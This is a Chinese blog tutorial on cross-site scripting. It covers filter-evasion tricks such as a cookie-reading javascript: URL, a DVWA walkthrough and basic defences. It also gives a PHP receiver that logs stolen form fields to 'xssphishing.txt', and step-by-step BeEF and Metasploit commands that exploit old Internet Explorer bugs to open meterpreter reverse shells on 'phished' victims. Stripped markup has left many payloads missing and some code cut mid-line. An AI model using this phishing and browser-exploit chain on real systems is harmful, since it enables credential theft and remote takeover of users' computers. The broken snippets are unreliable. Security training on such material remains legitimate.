XSS专题(一)

2018/10/30 22:20

前言

总结了XSS的一些知识,介绍了beef,msf的工具利用。

学海无涯,笔者要去充电一段时间。

非常欢迎大家留言对本文指正!也欢迎同学们投稿!

大纲

1.xss的类型

2.xss的变形逃逸常用技巧

#2.1.简单写一个PHP的xss接受平台

3.DVWA反射型的xss过关

4.部分防御xss思路和函数

5.kali的beef+msf劫持

6.连接beef和msf的教程链接(增多beef劫持的攻击模块)

7.推荐一个师傅写得writeup

1

xss的类型

XSS被称为跨站脚本攻击(Cross-site script),因为与CSS(层叠样式表)重名,故‘跨站脚本攻击’改名为‘XSS’。

xss有三种:

1.反射型xss,2.存储型xss,3.基于DOM的xss

(因笔者认为‘基于DOM的xss’可被包括于‘反射型xss’,以下讲解以反射型xss和存储型xss为例)

2

xss变形逃逸的常用技巧

#1.缩短网址:

一个长链接比较危险,一般会去缩短网址

可缩短网址放到公网上且生成一个该网址的二维码

#2.前端限制长度

如果前端js限制输入长度,可直接修改js(如:修改前端maxlength突破长度限制)

#3.javascript的伪协议

类似php文件包含的那种伪协议,javascript也有伪协议

javascript:alert(document.cookie)(直接放在url上回车就会执行)

>

(不是所有浏览器都支持伪协议)

#4.产生自己的事件(拼接标签,拼凑xss)

eg:onclick,onmouseover,onkeydown

(拼凑)

#5.构造标签

eg:闭合

或者标签后执行js。

click the url

#6.双写

拼凑scriscriptpt诸如此类的双重xss逃逸关键词过滤

#7.AugularJs

ng-include指令的值可以是一个表达式返回一个文件名,默认情况下文件需要在同一个域名下。通过src的请求,augularJs会解析其为文件内部的东西

菜鸟教程学习网址:

https://www.runoob.com/angularjs/angularjs-tutorial.html

#8.type为hidden的表单

寻找网页直接打印http数据包中的某些http请求行中的内容

#9.编码(看xss语句在什么环境运行)

常用编码网址:xssor.io

1.URL编码(必须先确认目标服务器可以自行解码URL编码)

2.实体编码:&开头分号结尾(

eg:click me

(HTML接收到一个html实体字符后会解码,所以代码还原成了真正的代码)

字符编码:十进制(

3.js编码(不够个数补0):三个八进制数字(\145),两个十六进制(\x65),四个十六进制(\u0065)(适用js进行的输出)

(可以外部引用自己的js文件)

4.CSS编码:1~6个十六进制数字(\65 or \65 or \00065)

(引用外部的自己写的css文件)

#10.过滤某些符号

过滤空格:使用其他东西代替:如%0a%0d

eg:http://????/level16.php?keyword=

(这个不是链接啊啊啊注意)

2.1

如何制作简单的xss接受平台

接收端:

if(isset($_POST['submit'])){

foreach($_POST as $key=>$value)

{

$log = fopen("xssphishing.txt","a");

fwrite($log,$key."=".$value."\r\n");

}

fclose($log);

}

header("location:http//原始界面,进后台的正常页面")

3

dvwa

反射型xss;难度:low

源代码:

if(!array_key_exists("name",$_GET) ||$_GET['name'] ==NULL||$_GET['name'] ==''){

$isempty=true;

} else {

echo'

';

echo'Hello '.$_GET['name'];

echo'';

}

因为发现输入什么就输出什么,所以可以直接输入payload:''直接弹框验证xss漏洞的存在。

反射型xss;难度:medium

if(!array_key_exists("name",$_GET) ||$_GET['name'] ==NULL||$_GET['name'] ==''){

$isempty=true;

} else {

echo'

';

echo'Hello '.str_replace('’

反射型xss;难度:high

if(!array_key_exists("name",$_GET) ||$_GET['name'] ==NULL||$_GET['name'] ==''){

$isempty=true;

} else {

echo'

';

echo'Hello '.htmlspecialchars($_GET['name']);

echo'';

}

从源代码可知使用了htmlspecialchars()函数进行了过滤。htmlspecialchars()可将

这五个字符转译为HTML实体:(“&被转译字符的名字;”)。

(注意:htmlspecialchars()函数可以过滤单引号,但是默认的htmlspecialchars()不过滤单引号)

此处htmlspecialchars()函数放置处没有造成拼接之类的漏洞。此题应该无解吧???我看到国外有个人是http抓包把cookie的high改成了low直接简单输出alert(1)的。。。。。。

有位16级的学长说如果环境是nginx的话可以利用其他漏洞绕过htmlspecialchars()函数,有兴趣的同学自己下来尝试复现一下吧。

4

防御

1.直接防御xss

过滤script标签

addslashes()

htmlspecialchars()

str_replace()

2.为cookie上保险

*关键cookie设置http_only属性

*security属性(被ssl层加密传输)

5

beef + xss

xss的常用漏洞和ie版本有关

浏览器漏洞利用:

漏洞1:ms10_002 -> ie6(一般xp自带ie7)

漏洞2:ie_execcommand_uaf -> ie7,8,9(一般win7win8自带ie这些版本)

漏洞1:ms10_002

Kali系统下执行命令如下:

1.cd /usr/share/beef-xss/

(切换到beef所在目录)

2../beef

(启动beef)

(http://xxxxx/hook.js,这个链接是xss攻击时挂上去的payload。如,在某网页挂xss:;http://xxxx/ui/panel,这个链接是beef后台,用户登录该后台即可控制被劫持的浏览器调整各种姿势。默认用户密码均为beef)

3.use windows exploit/browser/ms10_002_aurora

(漏洞模块文件可能会因为kali的不同而不同,如果找不到模块位置可以再找一找)

4.set PAYLOAD windows/meterpreter/reverse_tcp

(这里是设置木马的一个msf命令)

5.set SRVHOST 自己的ip(开启挂马网页的ip)

6.set SRVPORT 自己的端口A(开启挂马网页的ip的端口,服务开启)

7.set URIPATH /(设置访问域,写 / 即可)

8.set LHOST 自己的ip(设置监听ip)

9.set LPORT 自己的端口B(监听接收流量的端口)

10.exploit(漏洞开始利用,等待钓鱼)

11.session -i 序号(和被钓鱼的谁交互)

12.shell(获取被钓鱼者的shell权限)

漏洞2:ie_execcommand_uaf

Kali系统下执行命令如下:

1.cd /usr/share/beef-xss/(切换到beef所在目录)

2../beef(启动beef)

# 3.use exploit/windows/browser/ie_execcommand_uaf

4.set PAYLOAD windows/meterpreter/reverse_tcp

(这里是设置木马的一个msf命令)

5.set SRVHOST 自己的ip(开启挂马网页的ip)

6.set SRVPORT 自己的端口A(开启挂马网页的ip的端口,服务开启)

7.set URIPATH /(设置访问域,写 / 即可)

# 8.set LHOST 自己的ip(设置监听ip)

# 9.set LPORT 自己的端口B(监听接收流量的端口)

10.exploit(漏洞开始利用,等待钓鱼)

11.session -i 序号(和被钓鱼的谁交互)

12.shell(获取被钓鱼者的shell权限)

6

连接beef和msf

为什么要链接beef和msf?

如果连接beef和msf的话(两个工具被设计成可以连接的),beef的响应的攻击模块会大量增加。

一般直接使用chrome浏览器登录beef的panel后台,如下图,会有一定程度上的翻译

比如调用摄像头

在这里缺flash,否则可能会被利用。不过常用的URL跳转肯定能被利用到笔者浏览器上的。

链接如下(两种方式略有不同):

kali系统连接beef和msf:https://jingyan.baidu.com/article/3052f5a1d6b60597f31f8683.html

塔主推荐的REEBUF的文章:https://www.freebuf.com/sectool/4799.html

7

某位师傅的两篇精彩的WP

ShaoBaoBaor

上篇:

http://shaobaobaoer.cn/archives/603/xss-%E6%8C%91%E6%88%98%E8%B5%9B-wp-%E4%B8%8A

下篇:

http://shaobaobaoer.cn/archives/604

  • 发表于:
  • 原文链接:https://kuaibao.qq.com/s/20181030G21JNA00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。

扫码关注云+社区

领取腾讯云代金券